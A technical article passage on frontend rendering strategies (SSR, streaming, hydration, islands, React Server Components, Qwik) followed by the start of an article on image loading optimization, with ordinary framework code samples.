// Revalidate by cache tag
export async function updateInventory(productId: string) {
  await db.inventory.update(productId)
  revalidateTag("products")
}
```

**Design rationale:** ISR solves the staleness problem of SSG without SSR's per-request compute. Most requests hit cache; regeneration happens asynchronously. The trade-off is complexity—cache invalidation requires explicit management.

**When ISR makes sense:**

- E-commerce with frequent price/inventory changes
- News sites with editorial workflow
- Content sites with thousands of pages
- Any SSG use case that needs freshness

## Streaming and Progressive Rendering

### Streaming SSR

Traditional SSR blocks until all data is ready, then sends the complete HTML. Streaming SSR sends HTML progressively as data resolves.

**How `renderToPipeableStream` works (React 18+):**

```ts title="server.ts" collapse={1-4,20-30}
import { renderToPipeableStream } from 'react-dom/server'
import { createServer } from 'http'

createServer((req, res) => {
  const { pipe } = renderToPipeableStream(<App />, {
    bootstrapScripts: ['/main.js'],
    onShellReady() {
      // Shell (layout, navigation) ready - start streaming
      res.setHeader('Content-Type', 'text/html')
      pipe(res)
    },
    onShellError(error) {
      // Error before any HTML sent - can redirect/show error page
      res.statusCode = 500
      res.end('Error')
    },
    onAllReady() {
      // All Suspense boundaries resolved - useful for crawlers
    },
  })
}).listen(3000)
```

**Progressive rendering with Suspense:**

```tsx title="page.tsx" collapse={1-5,25-35}
import { Suspense } from "react"

async function SlowComponent() {
  const data = await fetch("https://slow-api.example.com/data")
  return <div>{data.json().content}</div>
}

export default function Page() {
  return (
    <html>
      <body>
        {/* Shell streams immediately */}
        <header>Site Header</header>
        <nav>Navigation</nav>

        {/* Content streams as ready */}
        <Suspense fallback={<p>Loading...</p>}>
          <SlowComponent />
        </Suspense>

        <footer>Site Footer</footer>
      </body>
    </html>
  )
}
```

**What the user sees:**

1. **Instant:** Header, navigation, footer, "Loading..." placeholder
2. **When data ready:** Placeholder replaced with actual content (no page refresh)

**Design rationale:** Streaming decouples TTFB from slowest data fetch. Users see the page structure immediately; content fills in progressively. The browser can start parsing and rendering before the response completes.

**Shopify Hydrogen results:**

Shopify's Hydrogen framework (React Server Components + Streaming) achieves:

- Sub-50ms TTFB on Oxygen CDN (V8 Isolates)
- Progressive hydration reduces TTI
- No client round-trips—data embedded in streaming HTML

### Out-of-Order Streaming

Suspense boundaries can resolve in any order. The browser receives placeholder slots and fills them as data arrives:

```html
<!-- Initial stream -->
<html>
  <body>
    <header>Header</header>
    <!--$?--><template id="B:0"></template>
    <p>Loading...</p>
    <!--/$-->
    <footer>Footer</footer>
  </body>
</html>

<!-- Later stream (injected at end of document) -->
<script>
  // React replaces placeholder with resolved content
  $RC("B:0", "<div>Actual content from slow API</div>")
</script>
```

**Design rationale:** Out-of-order streaming maximizes parallelism. Fast data sources render immediately; slow sources don't block the page. The technique uses inline scripts to swap placeholders after they stream.

## Hydration Deep Dive

### Full Hydration Process

Hydration attaches React's event handlers and state management to server-rendered HTML. The browser receives static HTML, then React "hydrates" it to make it interactive.

**The hydration sequence:**

1. **Server renders HTML** → complete DOM structure
2. **Browser receives HTML** → displays immediately (FCP)
3. **Browser downloads JavaScript** → React bundle loads
4. **`hydrateRoot` called** → React attaches to existing DOM
5. **Event handlers attached** → page becomes interactive

```ts title="client.tsx" collapse={1-2,8-15}
import { hydrateRoot } from 'react-dom/client'
import App from './App'

// React expects DOM to match what it would render
const root = document.getElementById('root')
hydrateRoot(root, <App />)
```

**Critical constraint:** Server and client must produce identical HTML. React compares the server-rendered DOM against what it would render; mismatches cause errors and visual glitches.

### Hydration Mismatches

Mismatches occur when server and client render different content. Common causes:

**1. Browser-only APIs:**

```tsx
// ❌ Mismatch: window doesn't exist on server
function Component() {
  return <div>{window.innerWidth}px</div>
}

// ✅ Fixed: defer to client
function Component() {
  const [width, setWidth] = useState<number | null>(null)

  useEffect(() => {
    setWidth(window.innerWidth)
  }, [])

  return <div>{width ?? "Loading..."}px</div>
}
```

**2. Date/time rendering:**

```tsx
// ❌ Mismatch: server and client have different times
function Component() {
  return <span>{new Date().toLocaleString()}</span>
}

// ✅ Fixed: render on client only
function Component() {
  const [time, setTime] = useState<string | null>(null)

  useEffect(() => {
    setTime(new Date().toLocaleString())
  }, [])

  return <span suppressHydrationWarning>{time ?? ""}</span>
}
```

**3. Conditional rendering:**

```tsx
// ❌ Mismatch: typeof window differs
function Component() {
  if (typeof window !== "undefined") {
    return <ClientOnlyFeature />
  }
  return null
}

// ✅ Fixed: state-based detection
function Component() {
  const [mounted, setMounted] = useState(false)

  useEffect(() => {
    setMounted(true)
  }, [])

  if (!mounted) return null
  return <ClientOnlyFeature />
}
```

**Debugging mismatches:**

1. Check browser console for hydration warnings (React 18+ provides detailed messages)
2. Compare server HTML (`view-source:`) with client render
3. Search for `typeof window`, `navigator`, `document` in render paths
4. Check timezone-dependent formatting

### React 18 Selective Hydration

React 18 enables selective hydration—components wrapped in Suspense can hydrate independently:

```tsx title="selective-hydration.tsx" collapse={1-3,20-25}
import { Suspense } from "react"

function Page() {
  return (
    <div>
      <header>Always hydrates first</header>

      <Suspense fallback={<p>Loading sidebar...</p>}>
        <Sidebar /> {/* Hydrates when ready */}
      </Suspense>

      <Suspense fallback={<p>Loading content...</p>}>
        <MainContent /> {/* Hydrates independently */}
      </Suspense>
    </div>
  )
}
```

**How it works:**

- React prioritizes hydrating components the user interacts with
- Clicking a not-yet-hydrated component triggers priority hydration
- Other Suspense boundaries continue hydrating in background

**Design rationale:** Selective hydration improves perceived interactivity. The header becomes interactive immediately; heavy components hydrate progressively without blocking the page.

## Islands Architecture

### The Islands Model

Islands architecture renders most of the page as static HTML and hydrates only interactive "islands." Each island is independent—different frameworks can coexist.

**Core concept:**

```
┌─────────────────────────────────────────────┐
│  Static HTML (no JavaScript)                │
│  ┌─────────┐     ┌──────────────┐           │
│  │ Island  │     │   Island     │           │
│  │ (React) │     │   (Vue)      │           │
│  │ 3KB JS  │     │   5KB JS     │           │
│  └─────────┘     └──────────────┘           │
│                                             │
│  More static content...                     │
│                                             │
│  ┌────────────────────────────┐             │
│  │       Island (Svelte)      │             │
│  │          8KB JS            │             │
│  └────────────────────────────┘             │
└─────────────────────────────────────────────┘

Total JS: 16KB (vs 200KB+ for full hydration)
```

### Astro Islands

Astro implements islands with the `client:*` directives:

```astro title="page.astro" collapse={1-5}
---
import Header from "./Header.astro" // Static, no JS
import Search from "./Search.tsx" // Interactive island
import Footer from "./Footer.astro" // Static, no JS
---

<html>
  <body>
    <Header />

    <!-- Hydrates on page load -->
    <Search client:load />

    <!-- Hydrates when visible in viewport -->
    <Newsletter client:visible />

    <!-- Hydrates on first interaction -->
    <Comments client:idle />

    <!-- Never hydrates (server-only) -->
    <Analytics />

    <Footer />
  </body>
</html>
```

**Hydration directives:**

| Directive        | When Hydrates        | Use Case                 |
| ---------------- | -------------------- | ------------------------ |
| `client:load`    | Immediately          | Above-fold interactivity |
| `client:idle`    | Browser idle         | Below-fold, non-critical |
| `client:visible` | In viewport          | Lazy components          |
| `client:media`   | Media query matches  | Responsive features      |
| `client:only`    | Client-only (no SSR) | Browser-only components  |

**Design rationale:** Islands invert the default. Instead of "hydrate everything, optimize later," islands are "hydrate nothing, add JavaScript where needed." This produces dramatically smaller bundles.

### Fresh (Deno)

Fresh implements islands without a build step:

```tsx title="routes/index.tsx" collapse={1-2,18-25}
// Route - server-rendered
import Counter from "../islands/Counter.tsx"

export default function Home() {
  return (
    <div>
      <h1>Welcome</h1>
      <p>This is static HTML</p>

      {/* Island - hydrates on client */}
      <Counter start={3} />
    </div>
  )
}

// islands/Counter.tsx - client-side JavaScript
import { useState } from "preact/hooks"

export default function Counter({ start }: { start: number }) {
  const [count, setCount] = useState(start)
  return <button onClick={() => setCount((c) => c + 1)}>{count}</button>
}
```

**Design decisions:**

- No build step—TypeScript compiled on-demand via Deno
- Islands in `islands/` directory automatically hydrated
- Uses Preact (3KB) instead of React (40KB)
- Zero JavaScript by default

### Partial Hydration vs Islands

**Partial hydration:** Framework hydrates a subset of components, but all components come from the same framework. React's selective hydration is partial hydration.

**Islands:** Each island is independent. Different frameworks can coexist. No shared runtime overhead between islands.

The distinction matters for bundle size. Partial hydration still loads React for the entire page; islands load only what each component needs.

## React Server Components

### RSC vs SSR

React Server Components (RSC) and Server-Side Rendering (SSR) are complementary, not alternatives.

| Aspect        | SSR                          | RSC                                      |
| ------------- | ---------------------------- | ---------------------------------------- |
| Runs on       | Server (per-request)         | Server (can be cached)                   |
| Output        | HTML string                  | React element tree (serialized)          |
| Client bundle | Full app code                | Only Client Components                   |
| Hooks allowed | All                          | None (`useState`, `useEffect` forbidden) |
| Data fetching | `getServerSideProps` / fetch | Direct `async` functions                 |
| Interactivity | After hydration              | Client Components only                   |

**How RSC works:**

1. Server renders Server Components into serialized React tree
2. Tree includes references to Client Components (not their code)
3. Client receives serialized tree + Client Component bundles
4. Client renders tree, loading Client Components as needed

```tsx title="rsc-example.tsx" collapse={1-4,22-30}
// Server Component - NOT shipped to client
import { db } from "@/lib/db"
import { formatMarkdown } from "@/lib/markdown" // 50KB library stays on server
import LikeButton from "./LikeButton" // Client Component

async function BlogPost({ id }: { id: string }) {
  const post = await db.posts.findUnique({ where: { id } })
  const html = formatMarkdown(post.content) // Heavy library, zero client cost

  return (
    <article>
      <h1>{post.title}</h1>
      <div dangerouslySetInnerHTML={{ __html: html }} />

      {/* Client Component - this code ships to client */}
      <LikeButton postId={id} />
    </article>
  )
}

// Client Component - marked explicitly
;("use client")
import { useState } from "react"

export default function LikeButton({ postId }: { postId: string }) {
  const [liked, setLiked] = useState(false)
  return <button onClick={() => setLiked(!liked)}>{liked ? "❤️" : "🤍"}</button>
}
```

**Bundle size impact:**

Traditional React: `marked` (50KB), `sanitize-html` (25KB), and every component ship to client.

RSC: Only `LikeButton` (and its dependencies) ship to client. Markdown processing happens on server.

### Server Actions

RSC enables Server Actions—functions that execute on the server, called from the client:

```tsx title="server-actions.tsx" collapse={1-2,20-30}
"use server"
import { db } from "@/lib/db"

export async function addComment(postId: string, content: string) {
  await db.comments.create({
    data: { postId, content, createdAt: new Date() },
  })
  // Revalidate the post page
  revalidatePath(`/posts/${postId}`)
}

// Client Component using Server Action
;("use client")
import { addComment } from "./actions"

function CommentForm({ postId }: { postId: string }) {
  return (
    <form action={addComment.bind(null, postId)}>
      <input name="content" />
      <button type="submit">Post</button>
    </form>
  )
}
```

**Design rationale:** Server Actions eliminate the need for API routes in many cases. Form submissions call server functions directly, with automatic serialization and error handling.

### RSC Constraints

Server Components cannot:

- Use `useState`, `useReducer`, `useEffect`, or other client hooks
- Access browser APIs (`window`, `document`)
- Use event handlers (`onClick`, `onChange`)
- Be rendered conditionally based on client state

These constraints enable the zero-bundle benefit. If a component needs interactivity, mark it `'use client'`.

## Resumability: Beyond Hydration

### Qwik's Approach

Qwik eliminates hydration entirely through "resumability." Instead of replaying component logic on the client, Qwik serializes execution state and resumes exactly where the server left off.

**Hydration vs Resumability:**

| Aspect              | Hydration                 | Resumability                    |
| ------------------- | ------------------------- | ------------------------------- |
| Client startup      | Re-execute all components | Resume from serialized state    |
| JavaScript loaded   | Entire app (or chunks)    | Only for triggered interactions |
| Time to Interactive | After hydration completes | Near-instant                    |
| Memory at load      | Full React tree           | Minimal                         |

**How Qwik works:**

1. Server renders HTML with serialized state in attributes
2. Client loads minimal Qwik runtime (~1KB)
3. On interaction, Qwik lazy-loads only the relevant event handler
4. Component state resumes from serialized data

```tsx title="qwik-example.tsx" collapse={1-2,15-20}
import { component$, useSignal } from "@builder.io/qwik"

export const Counter = component$(() => {
  const count = useSignal(0)

  return <button onClick$={() => count.value++}>Count: {count.value}</button>
})

// Rendered HTML includes serialized state:
// <button on:click="q-abc123">Count: 0</button>
// On click, Qwik fetches only the click handler code
```

**Design rationale:** Hydration assumes the client must understand the component tree before interactivity. Resumability questions this assumption—why re-execute code that already ran on the server? By serializing execution state, Qwik achieves near-instant interactivity.

**Trade-offs:**

- ✅ Sub-second TTI on mobile
- ✅ Minimal initial JavaScript
- ❌ Different mental model from React/Vue
- ❌ Smaller ecosystem
- ❌ Serialization overhead for complex state

## Framework Comparison

### Next.js 15

**Default behavior:** Server Components (RSC) in App Router

**Rendering modes:**

| Mode      | Config                                   | Use Case                       |
| --------- | ---------------------------------------- | ------------------------------ |
| Static    | `export const dynamic = 'force-static'`  | Build-time rendering           |
| Dynamic   | `export const dynamic = 'force-dynamic'` | Per-request rendering          |
| ISR       | `export const revalidate = 60`           | Cached with background refresh |
| Streaming | Suspense boundaries                      | Progressive rendering          |

**Partial Prerendering (PPR):**

Next.js 15 introduces PPR—combining static shells with dynamic content:

```tsx title="ppr-page.tsx" collapse={1-3,20-25}
import { Suspense } from "react"

// next.config.ts: cacheComponents: true
export default function ProductPage({ params }) {
  return (
    <main>
      {/* Static shell - prerendered at build */}
      <Header />
      <ProductInfo id={params.id} />

      {/* Dynamic content - streams at request time */}
      <Suspense fallback={<PriceSkeleton />}>
        <LivePrice id={params.id} />
      </Suspense>

      <Footer />
    </main>
  )
}
```

### Astro 5

**Default behavior:** Zero JavaScript, static output

**Rendering modes:**

```ts title="astro.config.mjs"
export default defineConfig({
  output: "static", // Full SSG (default)
  // output: 'server',   // Full SSR
  // output: 'hybrid',   // Per-page control
})
```

**Hybrid rendering:**

```astro
---
// Force server rendering for this page
export const prerender = false
---

<html>
  <body>
    <UserDashboard />
  </body>
</html>
```

**Strengths:**

- Fastest static sites (40% faster than React equivalents)
- Framework-agnostic islands (React, Vue, Svelte, Solid)
- Content-first architecture

### Nuxt 3

**Default behavior:** Universal rendering (SSR + hydration)

**Rendering modes per route:**

```ts title="nuxt.config.ts"
export default defineNuxtConfig({
  routeRules: {
    "/": { prerender: true }, // Static
    "/blog/**": { isr: 60 }, // ISR
    "/admin/**": { ssr: false }, // Client-only
    "/api/**": { cors: true }, // API routes
  },
})
```

**Strengths:**

- Vue 3 Composition API
- Nitro server engine (edge-deployable)
- Mature hybrid rendering

### Decision Matrix

| Factor            | Next.js 15    | Astro 5      | Nuxt 3         | Qwik             |
| ----------------- | ------------- | ------------ | -------------- | ---------------- |
| Default JS        | RSC (minimal) | Zero         | Full hydration | Zero (resumable) |
| Framework lock-in | React         | None         | Vue            | Qwik             |
| SSG               | ✅            | ✅ (primary) | ✅             | ✅               |
| SSR               | ✅            | ✅           | ✅             | ✅               |
| Streaming         | ✅            | ✅           | ✅             | ✅               |
| Islands           | Via RSC       | Native       | Nuxt Islands   | Native           |
| Learning curve    | Moderate      | Low          | Moderate       | High             |
| Ecosystem         | Largest       | Growing      | Large (Vue)    | Small            |

## Real-World Implementations

### Shopify Hydrogen

**Challenge:** E-commerce storefronts with dynamic pricing, inventory, personalization

**Approach:**

- React Server Components for product pages
- Streaming SSR for progressive rendering
- Edge deployment on Oxygen (V8 Isolates)
- Cache at CDN, invalidate on inventory changes

**Results:**

- Sub-50ms TTFB from edge
- Zero client-side data fetching for product info
- Progressive hydration reduces TTI

**Key insight:** RSC eliminates the "client-side fetch waterfall" problem. Product data embeds directly in the streamed HTML.

### Vercel Commerce

**Challenge:** Reference e-commerce implementation showcasing Next.js

**Approach:**

- Next.js App Router with RSC
- ISR for product catalog (revalidate on webhook)
- Streaming for search results
- Edge middleware for geolocation/personalization

**Architecture:**

```
Request → Edge Middleware (geo, A/B) → ISR Cache → Origin (if miss)
                                           ↓
                                    Streaming Response
```

### The Guardian

**Challenge:** News site with millions of pages, real-time updates

**Approach:**

- Server-rendered articles
- Incremental regeneration for breaking news
- Islands for interactive elements (comments, live blogs)
- Aggressive caching at CDN

**Key insight:** News content is mostly static with pockets of interactivity. Islands architecture matches this perfectly—static article body, interactive comment section.

## Performance Optimization

### Core Web Vitals Alignment

As of 2025, Core Web Vitals are:

| Metric | Target  | Rendering Impact        |
| ------ | ------- | ----------------------- |
| LCP    | < 2.5s  | SSG/ISR > SSR > CSR     |
| INP    | < 200ms | Less JS = better INP    |
| CLS    | < 0.1   | Streaming can help/hurt |

**INP optimization:**

INP (Interaction to Next Paint) replaced TTI as the interactivity metric. It measures responsiveness to user interactions, not initial load. Large JavaScript bundles degrade INP because they compete for main thread time.

Strategies:

1. **Ship less JavaScript** — RSC, islands, code splitting
2. **Defer non-critical JS** — `client:idle`, `client:visible`
3. **Avoid layout thrashing** — batch DOM reads/writes
4. **Use Web Workers** — offload computation

### Measuring Real-World Impact

```ts title="web-vitals.ts" collapse={1-3,18-25}
import { onLCP, onINP, onCLS } from "web-vitals"

function sendToAnalytics(metric) {
  // Send to your analytics endpoint
  fetch("/api/vitals", {
    method: "POST",
    body: JSON.stringify({
      name: metric.name,
      value: metric.value,
      id: metric.id,
    }),
  })
}

onLCP(sendToAnalytics)
onINP(sendToAnalytics)
onCLS(sendToAnalytics)
```

### Strategy Selection by Use Case

| Use Case           | Primary Strategy | Fallback                 |
| ------------------ | ---------------- | ------------------------ |
| Marketing site     | SSG + Islands    | ISR for dynamic sections |
| E-commerce catalog | ISR              | On-demand revalidation   |
| Dashboard          | CSR              | —                        |
| Blog               | SSG              | ISR for comments         |
| News site          | SSR + Streaming  | ISR for archive          |
| SaaS app           | RSC + Streaming  | CSR for complex widgets  |

## Conclusion

Rendering strategy selection is no longer framework-constrained—modern tools support multiple modes. The decision reduces to content characteristics:

1. **Static content** → SSG (Astro, Next.js static export)
2. **Dynamic but cacheable** → ISR (Next.js, Nuxt)
3. **Personalized/real-time** → SSR + Streaming
4. **Highly interactive** → CSR or RSC with Client Components
5. **Mixed** → Islands (Astro) or RSC (Next.js)

The trend is server-first: render on the server, ship minimal JavaScript, hydrate selectively. React Server Components and islands architecture represent convergent evolution toward this model.

For new projects: start with the minimal JavaScript approach (Astro for content, Next.js RSC for apps) and add interactivity where needed. The performance benefits of shipping less JavaScript compound—better Core Web Vitals, lower hosting costs, broader device support.

## Appendix

### Prerequisites

- HTML/CSS fundamentals and DOM understanding
- JavaScript execution model (event loop, main thread)
- React component model (or equivalent framework knowledge)
- HTTP caching basics (Cache-Control, CDN concepts)

### Terminology

| Term             | Definition                                                   |
| ---------------- | ------------------------------------------------------------ |
| **CSR**          | Client-Side Rendering—building DOM in browser via JavaScript |
| **SSR**          | Server-Side Rendering—generating HTML on server per-request  |
| **SSG**          | Static Site Generation—pre-rendering HTML at build time      |
| **ISR**          | Incremental Static Regeneration—SSG with background refresh  |
| **Hydration**    | Attaching JavaScript interactivity to server-rendered HTML   |
| **Islands**      | Independent interactive components in otherwise static pages |
| **RSC**          | React Server Components—components that run only on server   |
| **TTFB**         | Time to First Byte—server response latency                   |
| **FCP**          | First Contentful Paint—when first content appears            |
| **LCP**          | Largest Contentful Paint—when main content is visible        |
| **INP**          | Interaction to Next Paint—responsiveness to user input       |
| **Resumability** | Continuing server execution on client without replay         |

### Summary

- **Match strategy to content:** static → SSG, dynamic → SSR, personalized → CSR
- **Server-first wins:** RSC and islands ship less JavaScript, improving INP
- **Streaming improves perceived performance:** send HTML progressively, don't block on slowest data
- **Hydration has costs:** consider islands or resumability for content-heavy sites
- **ISR bridges static and dynamic:** cache-first with background refresh
- **INP is the new TTI:** JavaScript bundle size directly impacts interactivity metrics

### References

- [React Server Components - React Documentation](https://react.dev/reference/rsc/server-components) — Official RSC specification and patterns
- [renderToPipeableStream - React DOM Server](https://react.dev/reference/react-dom/server/renderToPipeableStream) — Streaming SSR API reference
- [hydrateRoot - React DOM Client](https://react.dev/reference/react-dom/client/hydrateRoot) — Hydration API and constraints
- [Next.js App Router Documentation](https://nextjs.org/docs/app) — RSC, streaming, and rendering modes
- [Next.js ISR Documentation](https://nextjs.org/docs/app/building-your-application/data-fetching/incremental-static-regeneration) — Incremental regeneration patterns
- [Astro Documentation](https://docs.astro.build/) — Islands architecture and zero-JS approach
- [Astro: Why Astro?](https://docs.astro.build/en/concepts/why-astro/) — Performance philosophy and benchmarks
- [Nuxt 3 Rendering Modes](https://nuxt.com/docs/guide/concepts/rendering) — Hybrid rendering configuration
- [Qwik Resumability](https://qwik.dev/docs/concepts/resumable/) — Alternative to hydration
- [Rendering on the Web - web.dev](https://web.dev/articles/rendering-on-the-web) — Google's rendering strategy guide
- [Shopify Hydrogen Best Practices](https://shopify.engineering/react-server-components-best-practices-hydrogen) — Production RSC patterns
- [Core Web Vitals - web.dev](https://web.dev/articles/vitals) — LCP, INP, CLS definitions and targets

---

## Image Loading Optimization

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/image-loading-optimization
**Category:** System Design / Frontend System Design
**Description:** Client-side strategies for optimizing image delivery: lazy loading, responsive images, modern formats, and Cumulative Layout Shift (CLS) prevention. Covers browser mechanics, priority hints, and real-world implementation patterns.

# Image Loading Optimization

Client-side strategies for optimizing image delivery: lazy loading, responsive images, modern formats, and Cumulative Layout Shift (CLS) prevention. Covers browser mechanics, priority hints, and real-world implementation patterns.

<figure>

![Image loading pipeline: from discovery through rendering. Priority decisions determine load timing; format selection happens at request time; space reservation prevents layout shift.](./image-loading-pipeline-from-discovery-through-rendering-priority-decisions-deter.svg)

<figcaption>Image loading pipeline: from discovery through rendering. Priority decisions determine load timing; format selection happens at request time; space reservation prevents layout shift.</figcaption>
</figure>

## Abstract

Image loading optimization balances three competing goals: **fast LCP** (load critical images early), **bandwidth efficiency** (defer non-critical images, serve optimal formats), and **layout stability** (prevent CLS by reserving space).

The browser's resource scheduler prioritizes images based on viewport position and explicit hints (`fetchpriority`, `loading`). Native lazy loading defers off-screen images using browser-determined thresholds that vary by vendor and connection type—Chrome uses 1250-2500px, Firefox 600-800px, Safari ~100px. You cannot customize these thresholds.

Modern format delivery (`<picture>` with AVIF/WebP sources, or Accept-header content negotiation) reduces payload by 30-60% over JPEG. CLS prevention requires either explicit `width`/`height` attributes (browser calculates aspect ratio) or CSS `aspect-ratio`—both reserve space before image data arrives.

The highest-impact optimization: preload LCP images with `fetchpriority="high"`, serve modern formats via CDN, and always specify dimensions.

## The Challenge

### Browser Constraints

Images compete for limited resources during page load:

| Resource            | Budget                   | Image Impact                                |
| ------------------- | ------------------------ | ------------------------------------------- |
| Network connections | 6 per origin (HTTP/1.1)  | Large images block other requests           |
| Main thread         | 16ms per frame           | Decode can block rendering                  |
| Memory              | 50-500MB practical limit | Uncompressed bitmaps consume ~4 bytes/pixel |
| Bandwidth           | Variable                 | Dominant payload on most pages              |

**Main thread blocking**: Image decoding historically ran on the main thread. A 4K image (3840×2160) requires ~33MB uncompressed, blocking the thread for 50-200ms during decode. Modern browsers decode asynchronously by default, but `decoding="sync"` forces blocking behavior.

### Competing Goals

| Goal              | Strategy                  | Trade-off                   |
| ----------------- | ------------------------- | --------------------------- |
| Fast LCP          | Preload, high priority    | Delays other resources      |
| Bandwidth savings | Lazy load, modern formats | Slower off-screen discovery |
| Layout stability  | Reserve space             | Requires known dimensions   |
| Device adaptation | Responsive images         | Increased markup complexity |

### Scale Factors

| Metric            | Small Scale | Large Scale     |
| ----------------- | ----------- | --------------- |
| Images per page   | < 10        | > 100           |
| Total payload     | < 500KB     | > 5MB           |
| Viewport coverage | Hero only   | Infinite scroll |
| Format variants   | 1           | 3-5 per image   |

## Design Paths

### Path 1: Native Lazy Loading

**How it works:**

The `loading="lazy"` attribute defers image loading until the element approaches the viewport. The browser tracks scroll position and begins fetching when the image crosses a distance threshold.

```html
<img src="photo.jpg" loading="lazy" width="640" height="480" alt="Description" />
```

**Browser thresholds (distance from viewport):**

| Browser     | Fast connection (4G+) | Slow connection (3G) |
| ----------- | --------------------- | -------------------- |
| Chrome/Edge | 1250px                | 2500px               |
| Firefox     | 600-800px             | 600-800px            |
| Safari      | ~100px                | ~100px               |

These thresholds are hardcoded—you cannot customize them via JavaScript or CSS. Chrome adjusts based on the reported connection type; Firefox and Safari use fixed values.

**Critical requirement**: Always include `width` and `height` attributes. Without dimensions:

1. Browser cannot reserve space → CLS occurs
2. Browser may assume image fits in viewport → loads immediately regardless of `loading="lazy"`

**Edge cases:**

- **Print stylesheets**: Lazy images may not load when printing; consider `@media print { img { loading: eager; } }` workaround (requires JavaScript to toggle)
- **Search engines**: Googlebot executes JavaScript and triggers lazy loading, but some crawlers don't wait—test with Google Search Console
- **`display: none` images**: Browsers may still load them; `loading="lazy"` behavior is inconsistent here
- **Dynamic insertion**: Images added via JavaScript after DOMContentLoaded are evaluated against current scroll position

**Browser support**: Chrome 77+ (2019), Firefox 75+ (2020), Safari 15.4+ (2022). ~95%+ global coverage. Unsupported browsers ignore the attribute and load immediately.

**Best for:**

- Below-the-fold images
- Long-form content with many images
- Infinite scroll implementations

**Not for:**

- LCP candidates (hero images, above-the-fold content)
- Images that must be visible immediately

### Path 2: Intersection Observer (Custom Lazy Loading)

**How it works:**

JavaScript-based lazy loading using Intersection Observer API for fine-grained control over loading thresholds and behavior.

```typescript collapse={1-3}
// Track which images have been loaded
const loadedImages = new WeakSet<HTMLImageElement>()

function lazyLoadImages(options: IntersectionObserverInit = {}) {
  const observer = new IntersectionObserver(
    (entries) => {
      entries.forEach((entry) => {
        if (entry.isIntersecting) {
          const img = entry.target as HTMLImageElement
          const src = img.dataset.src
          if (src && !loadedImages.has(img)) {
            img.src = src
            loadedImages.add(img)
            observer.unobserve(img)
          }
        }
      })
    },
    {
      rootMargin: "200px 0px", // Start loading 200px before viewport
      threshold: 0.01, // Trigger when 1% visible
      ...options,
    },
  )

  document.querySelectorAll("img[data-src]").forEach((img) => {
    observer.observe(img)
  })

  return observer
}
```

**Customizable parameters:**

| Parameter            | Native             | Intersection Observer    |
| -------------------- | ------------------ | ------------------------ |
| Distance threshold   | Fixed per browser  | `rootMargin` (any value) |
| Visibility trigger   | Browser-determined | `threshold` (0-1)        |
| Root element         | Viewport only      | Any scrollable container |
| Connection awareness | Chrome only        | Manual implementation    |

**When to use over native:**

- Need consistent cross-browser threshold
- Lazy loading within a scrollable container (not viewport)
- Complex loading sequences (e.g., prioritize images in current scroll direction)
- Fallback for browsers without native support (increasingly rare)

**Trade-offs:**

- ✅ Full control over loading behavior
- ✅ Consistent thresholds across browsers
- ✅ Works with any scrollable container
- ❌ Requires JavaScript
- ❌ More code to maintain
- ❌ Slightly higher initial payload

### Path 3: Responsive Images with srcset/sizes

**How it works:**

Browser selects optimal image variant based on viewport width and device pixel ratio. Two approaches: resolution switching and art direction.

**Resolution switching (same image, different sizes):**

```html
<img
  srcset="photo-320w.jpg 320w, photo-640w.jpg 640w, photo-1280w.jpg 1280w, photo-1920w.jpg 1920w"
  sizes="(max-width: 600px) 100vw,
         (max-width: 1200px) 50vw,
         33vw"
  src="photo-1280w.jpg"
  alt="Description"
  width="1920"
  height="1080"
/>
```

**How `sizes` works:**

The `sizes` attribute tells the browser the rendered width at each breakpoint:

1. Browser reads `sizes` before layout completes
2. Matches current viewport against media conditions
3. Calculates effective pixel width (e.g., `50vw` on 1200px viewport = 600px)
4. Multiplies by device pixel ratio (e.g., 600px × 2 = 1200px for 2x display)
5. Selects smallest `srcset` candidate ≥ calculated width

**Why `sizes` is required with width descriptors**: Without `sizes`, the browser doesn't know the rendered width and defaults to `100vw`, often selecting larger-than-necessary images.

**Art direction (different images for different contexts):**

```html
<picture>
  <source media="(min-width: 1200px)" srcset="hero-landscape.jpg" />
  <source media="(min-width: 600px)" srcset="hero-square.jpg" />
  <img src="hero-portrait.jpg" alt="Product showcase" width="400" height="600" />
</picture>
```

Use `<picture>` with `media` queries when you need different compositions—cropped versions, different aspect ratios, or entirely different images for mobile vs desktop.

**Decision matrix:**

| Scenario                              | Use                                 |
| ------------------------------------- | ----------------------------------- |
| Same image, different resolutions     | `srcset` with width descriptors     |
| Same image, different pixel densities | `srcset` with `1x`/`2x` descriptors |
| Different compositions per breakpoint | `<picture>` with `media`            |
| Different formats (WebP, AVIF)        | `<picture>` with `type`             |

### Path 4: Modern Format Delivery

**Format characteristics:**

| Format  | Compression vs JPEG | Browser Support                       | Best For               |
| ------- | ------------------- | ------------------------------------- | ---------------------- |
| AVIF    | 50-60% smaller      | Chrome 85+, Firefox 93+, Safari 16.4+ | Photos, complex images |
| WebP    | 25-35% smaller      | Chrome 23+, Firefox 65+, Safari 14.1+ | Broad compatibility    |
| JPEG XL | 30-60% smaller      | Safari 17+, Chrome behind flag        | Future consideration   |
| JPEG    | Baseline            | Universal                             | Fallback               |

**Approach 1: `<picture>` with type attribute (recommended)**

```html
<picture>
  <source srcset="photo.avif" type="image/avif" />
  <source srcset="photo.webp" type="image/webp" />
  <img src="photo.jpg" alt="Description" width="800" height="600" />
</picture>
```

Browser evaluates sources top-to-bottom, selecting first supported type. Order matters—put smallest format first.

**Approach 2: Content negotiation via Accept header**

Server inspects `Accept` header and serves appropriate format:

```
# Chrome sends:
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8

# Server responds with Content-Type based on Accept
```

**Critical**: Set `Vary: Accept` header so CDNs cache format-specific responses correctly.

| Approach           | Control     | Complexity        | CDN Compatibility    |
| ------------------ | ----------- | ----------------- | -------------------- |
| `<picture>`        | Client-side | Markup per image  | Universal            |
| Accept negotiation | Server-side | Server/CDN config | Requires Vary header |

**Why `<picture>` is preferred:**

1. No server configuration required
2. Works with static hosting
3. Explicit control over format priority
4. CDN caches each URL separately (no Vary complexity)

### Path 5: Priority Hints

**How it works:**

The `fetchpriority` attribute influences the browser's resource scheduler. Combined with `loading`, it controls both timing and priority.

```html
<!-- LCP image: load immediately with high priority -->
<img src="hero.jpg" fetchpriority="high" width="1920" height="1080" alt="Hero" />

<!-- Decorative: defer and deprioritize -->
<img src="decoration.jpg" loading="lazy" fetchpriority="low" alt="" />
```

**Priority matrix:**

| `loading`       | `fetchpriority` | Behavior                                         |
| --------------- | --------------- | ------------------------------------------------ |
| eager (default) | high            | Immediate, high priority                         |
| eager           | low             | Immediate, low priority                          |
| lazy            | high            | Deferred until near viewport, then high priority |
| lazy            | low             | Deferred, low priority                           |

